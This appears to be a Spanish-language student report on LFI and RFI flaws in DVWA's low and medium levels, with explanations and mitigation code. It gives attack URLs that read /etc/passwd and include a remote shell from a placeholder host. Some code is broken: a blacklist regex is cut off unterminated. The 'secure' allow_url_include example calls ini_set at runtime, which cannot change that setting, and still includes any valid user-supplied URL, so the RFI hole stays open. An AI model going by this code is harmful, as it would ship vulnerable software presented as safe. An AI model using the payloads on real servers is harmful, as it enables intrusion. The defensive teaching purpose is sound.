INFORME DE VULNERABILIDADES

LFI Y RFI

1.- INTRODUCCIÓN

El presente informe aborda las vulnerabilidades de inclusión de archivos locales (LFI) e inclusión de archivos remotos (RFI) en aplicaciones web, analizando dos ejemplos de código con niveles de seguridad bajo y medio, donde se explica cómo se producen estas vulnerabilidades y se proporcionan recomendaciones para mitigarlas.

2. VULNERABILIDAD DE INCLUSIÓN DE ARCHIVOS LOCALES

2.1.- Descripción (LFI):

Este ataque guarda una estrecha relación con la vulnerabilidad “Path Traversal”, estableciéndose la diferencia que el primero únicamente presenta la posibilidad de modificar los parámetros de la aplicación web y escapando a contenido sensible dentro del servidor, y en un FLI, además de lo anterior, permite la ejecución de código y la inclusión de archivos en el servidor-web, normalmente, en lenguaje de programación PHP. Todo esto, puede llevar a la exposición y sustracción de información sensible y, en algunos casos, a la ejecución de código malicioso.

2.2. Ejemplo de Código extraído de DVWA, de **NIVEL BAJO**:

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
```

2.2.1.- Explicación:

1. Apertura del bloque (<?php) y cierre (?>) del script PHP.
2. Comentario (*/// The page we wish to display*):
    - Este es un comentario en línea que explica que la variable *"$file"* contendrá la página que deseamos mostrar. Los comentarios en PHP se inician con // y se extienden hasta el final de la línea.
3. Asignación de la Variable *$file*:
    - *$_GET['page']:* Este comando de PHP, contiene los datos enviados a través de la URL usando el método GET y, en este caso, está accediendo al parámetro *"page"* de la URL.
    - *$file = $_GET['page'];:* Esta línea asigna el valor del parámetro *page* de la URL a la variable *$file.*

2.2.2- Vulnerable a LFI o inclusión de archivos locales

Este código es vulnerable a la Inclusión de Archivos Locales (LFI), con lo que un actor malicioso podría manipular el parámetro "*page"* en la URL para incluir archivos locales del servidor. Por ejemplo:

http://example.com/index.php?page=/etc/passwd

Si el código posteriormente incluye el archivo especificado en $file sin ninguna validación (listas blancas, etc), el atacante podría acceder a archivos sensibles del sistema, y si el código incluyera el comando *Include=$file,* entonces el atacante no solo podría acceder y observar el contenido sensible, sino que podría ejecutar código malicioso.

2.2.3.- Mitigación del riesgo

Para mitigar los efectos de esta vulnerabilidad, es crucial validar y sanitizar todas las entradas del usuario, con alguna/s de las siguientes recomendaciones:

1. Validar las entradas, asegurando que solo se puedan incluir archivos permitidos. Ejemplo:

```php
// verificar si la página solicitada está permitida y existe en la lista blanca
if (isset($allowed_pages[$page])) {
   include($allowed_pages[$page]);
    //En caso contrario, le incluirá un código de error 404.php
    } else {
   include('404.php');
       }

?>
```

2. Utilizar Listas Blancas que permitan únicamente archivos específicos que sean seguros. Ejemplo:

   $allowed_pages = array (“home”, “about”, “contact”);

3. Evitar la Inclusión Directa de Archivos por entrada del usuario y usar un mapeo seguro de nombres de archivos. Por ejemplo:

```php
# mapear identificadores a archivos reales con
#la finalidad de evitar la inclusión de archivos arbitrarios
$allowed_pages = [
    'home' => 'home.php',
    'about' => 'about_us.php',
    'contact' => 'contact_form.php'
    ];
```

   Esto es un array que asocia o mapea un identificador a cada recurso o archivo real del sistema. El usuario solo tendrá acceso al identificador, proporcionándole una capa de protección adicional

4. Ejemplo completo de Código Seguro

```php
// Definir un mapeo de identificadores a archivos reales
$allowed_pages = [
    'home' => 'home.php',
    'about' => 'about_us.php',
    'contact' => 'contact_form.php'
];
// Obtener el identificador de la página
$page = $_GET['page'];

if (isset($allowed_pages[$page])) {
    include($allowed_pages[$page]);
} else {
    // Si la página no está permitida, mostrar un error 404
    include('404.php');
}
```

2.2.4.- Recomendaciones

- Validar y sanear todas las entradas del usuario, asegurando que solo se puedan incluir archivos permitidos.
- Utilización de listas blancas
- Configurar el servidor para restringir el acceso a archivos sensibles, asegurando que los archivos críticos no sean accesibles desde la web.

2.3. Ejemplo de Código extraído de DVWA, de **NIVEL MEDIO**

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>
```

2.3.1.- Explicación:

1. Inicio y cierre del documento PHP
2. El script obtiene el valor de entrada del usuario del parámetro 'page' de la URL de la web, asignándose directamente a la variable sin validación inicial.
3. Finalmente el código intenta eliminar patrones peligrosos, por un lado elimina el posible reemplazo de “http/s://” previniendo ataques RFI; y por otro los caracteres “../”, “..\” evitando la navegación de directorios mediante ataques “Path Traversal” .

2.3.2.- Problemas de seguridad:

- Validación de entrada insuficiente, en el uso de “*str_replace ()”,* lo cual seri acertado para URLs externas o saneamiento de entradas de usuario. Sin embargo, este filtrado básico podría ser eludido con el uso por el atacante de URLs codificadas

- Un atacante podría usar variaciones como "....//" o codificación URL, mediante el reemplazo por sus valores ASCII *(/ -> %2F, .. -> %2E%2E)*, con la finalidad de evadir esta protección.
- El script no verifica si el archivo solicitado en la entrada está o no en una lista de archivos permitidos (lista blanca), pudiendo incluir el archivo sin más comprobaciones, pudiendo un atacante realizar ataques FLI.
- Falta de saneamiento de la salida y en el manejo de errores, con lo que podría ser vulnerable a ataques XSS con inclusión de código malicioso, y no previene situaciones *(" except/try")* donde el archivo no existe o no es accesible.

2.3.4.- Recomendaciones de Mejora:

- Implementar un rango más amplio de patrones potencialmente malintencionados, como caracteres codificados, esquemas inusuales (file:/// → http:// o https:// o ftp:// o sftp://, data://) o extensiones de archivo sospechosas (.php o .exe → .txt o .jpg, y .htaccess o .config) para acceder a archivos del servidor.
- La validación debe considerar el contexto en el que se está utilizando la entrada para asegurarse de que se ajuste al formato esperado y no suponga un riesgo para el sistema, es decir cuando se procesa una solicitud de archivo o una solicitud de acceso a una BBDD, deben ser verificada si los formatos son permitidos y no contienen patrones malintencionados.

- Definir un array de archivos permitidos y verificar si la entrada del usuario coincide con uno de estos (lista blanca)
- Usar expresiones regulares o funciones de filtrado de PHP de filtrado más robustas como, por ejemplo:

```
<?php
function validateInput($input) {
    // Patrones malintencionados a buscar
    $patterns = array(
        '/(http|https|ftp|sftp|data):\/\/|\.php|\.exe|\.htaccess|\.config|\.js|
\.css|\.svg|\.ico|\.gif|\.jpg|\.jpeg|\.png|\.bmp|\.tiff|\.pdf|\.doc|\.docx|\.xls|
\.xlsx|\.ppt|\.pptx|\.zip|\.rar|\.7z|\.tar|\.gz|\.bz2|\.xz|\.iso|\.mp3|\.wav|
\.ogg|\.flac|\.mp4|\.avi|\.mov|\.wmv|\.flv|\.swf|\.exe|\.msi|\.dll|\.ocx|\.sys|
\.vbs|\.vbe|\.js|\.jse|\.ws|\.wsc|\.wsh|\.hta|\.htc|\.sct|\.vb|\.vba|\.vbs|\.vbe|
\.vbscript|\.asp|\.aspx|\.ascx|\.asmx|\.ashx|\.aspx|\.asmx|\.ashx|\.axd|\.vbhtml|
```

Si la solicitud de entrada está dentro de los patrones maliciosos no se validará la entrada y en caso contrario dejará pasarla.

2.3.5.- Ejemplo de Mejora de código

```php
<?php
    define('BASE_PATH', '/var/www/html/allowed_pages/');

    $allowed_pages = ['home.php', 'about.php', 'contact.php'];

    $page = isset($_GET['page']) ? $_GET['page'] : 'home.php';

    if (in_array($page, $allowed_pages) && file_exists(BASE_PATH . $page)) {
        include(BASE_PATH . $page);
    } else {
        // Manejar error o redirigir a página por defecto
        include(BASE_PATH . '404.php');
    }
?>
```

Este enfoque mejorado utiliza una lista blanca de archivos permitidos, usa rutas absolutas, y maneja los casos de error, proporcionando una solución mucho más segura contra ataques LFI.

3.- VULNERABILIDAD DE INCLUSIÓN DE ARCHIVOS REMOTOS

3.1. Descripción (RFI):

La vulnerabilidad de inclusión de archivos remotos (RFI) permite a un atacante incluir archivos remotos en la aplicación web, lo que puede llevar a la ejecución de código malicioso en el servidor.

3.2. Ejemplo de Código extraído de DVWA, de **NIVEL BAJO**:

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
```

La explicación es igual del código ya se ha explicado anteriormente, destacando que es un archivo PHP que obtiene el valor de entrada de la URL con el parámetro “page” y le asigna un valor a la variable $file, sin ninguna medida de validación ni control.

3.2.1.- Riesgos:

1. El uso de $_GET['page'] directamente en la inclusión de archivos, permite a un atacante acceder a archivos que no deberían ser accesibles desde fuera del sitio web.
2. Un atacante puede incluir un archivo remoto que contiene código PHP malicioso, el cual, se ejecutará en el contexto de tu sitio web.

3.2.2.- Recomendaciones

1. Validación y saneamiento de la entrada: Antes de incluir un archivo, asegúrate de que la entrada sea válida y no contenga patrones malintencionados, como se ha comentado anteriormente (listas blancas, inclusión de comandos prohibidos, manejo de errores.)
2. Evitar el uso de _GET o _POST directamente y crear una variable intermedia, donde se aplique medidas de validación y saneamientos necesarios antes de incluir el archivo, como, por ejemplo:

```php
<?php
// Definir una lista blanca de páginas permitidas
function sanitizeInput($input) {
    // Eliminar etiquetas HTML y PHP de la entrada del usuario (XSS)
    $input = urldecode($input);

    // Eliminar caracteres especiales y espacios en blanco al principio y al final
    $input = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $input);

    // Convertir la entrada a minúsculas para evitar problemas de sensibilidad
    $input = strtolower($input);

    return $input;
}

// Obtener la página solicitada desde la URL, previamente sanitizada
$page = sanitizeInput($_GET['page']);
```

- Como se puede observar, se crea una función que sanea y valida los caracteres antes de llegar a la función de asignación de la variable *$page*.

3.2.3.- Ejemplo de mejora del código para evitar RFI:

```php
<?php
// Definir las páginas permitidas en un array (lista blanca)
$allowedPages = array('home', 'about', 'contact');

// Obtener la página solicitada desde la URL
$page = $_GET['page'];

// Verificar si la página solicitada está permitida y existe en la lista blanca
if (in_array($page, $allowedPages)) {
    // Incluir el archivo correspondiente a la página solicitada
    include_once($page . '.php');
} else {
    // Mostrar un mensaje de error, si la página no está permitida y no existe en la lista blanca
    echo 'Página no encontrada';
}
?>
```

3.3. Ejemplo de Código extraído de DVWA, de **NIVEL MEDIO**:

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>
```

3.2.1.- Explicación

Como ya se ha explicado anteriormente, este código presenta vulnerabilidades, ya que realiza una validación y filtrado de entrada muy básico, pudiendo ser explotado por diferentes caracteres, incluso con el envío de código PHP malicioso, que puede ser ejecutado remotamente por parte de un atacante, como, por ejemplo:

http://example.com/index.php?page=http://malicious.com/shell.txt

3.2.2. Recomendaciones

- Deshabilitar la opción *“allow_url_include”* en la configuración de PHP: ES una directiva de configuración de PHP que permite o prohíbe la inclusión de archivos remotos en un script PHP. Si está habilitado, un atacante podría incluir un archivo remoto malicioso y ejecutar código arbitrario en el servidor. Por lo tanto, es una buena práctica deshabilitar esta configuración para evitar posibles vulnerabilidades de seguridad:

```php
<?php
// Deshabilitar la configuración "allow_url_include" para evitar la inclusión de archivos remotos
ini_set('allow_url_include', 0);

// Obtener la URL del archivo remoto desde la entrada del usuario
$file = $_GET['file'];

// Verificar si la URL es válida antes de incluir el archivo de forma segura, evitando posibles vulnerabilidades
if (filter_var($file, FILTER_VALIDATE_URL)) { #FILTER_VALIDATE_URL es una constante que se utiliza para validar una URL
    // La URL es válida, incluir el archivo de forma segura
    include($file);
} else {
    // La URL no es válida, mostrar un mensaje de error
    echo 'URL no válida';
}
?>
```

- Validar y sanear todas las entradas del usuario, para que solo se puedan incluir archivos permitidos.

- Utilizar listas blancas, para permitir solo archivos específicos que sean seguros.

4. CONCLUSIÓN

Las vulnerabilidades de LFI y RFI representan serios riesgos para la seguridad de las aplicaciones web, siendo crucial implementar prácticas de codificación segura, validación y sanitización todas las entradas del usuario y configurar adecuadamente el servidor para mitigar estos riesgos.

Además de todo lo analizado, es interesante implementar medidas me minimicen significativamente el riesgo de ataques RFI y mejorar la seguridad general de la aplicación web:

- En el manejo de errores dentro del script PHP, indicar que no muestren mensajes de error que puedan revelar información del sistema.
- Establecer una política de seguridad con el principio del mínimo privilegio, es decir la información será accesible a los usuarios autenticados, en la medida que le permita realizar su trabajo, no pudiendo acceder a contenido que no sea necesario para el mismo.
- Configurar el servidor web (por ejemplo, Apache) para limitar el acceso a directorios sensibles.
- Uso de Firewall de aplicaciones web (WAF), para ayudar a detectar y bloquear intentos de RFI.
- Mantener actualizado el sistema operativo, el servidor web y PHP para protegerse contra vulnerabilidades conocidas.
- Implementar un sistema de monitorización para detectar actividades sospechosas, el cual mantenga logs detallados de las solicitudes al servidor.
- Formar a los desarrolladores en prácticas de codificación segura y concienciarlos sobre los riesgos de RFI.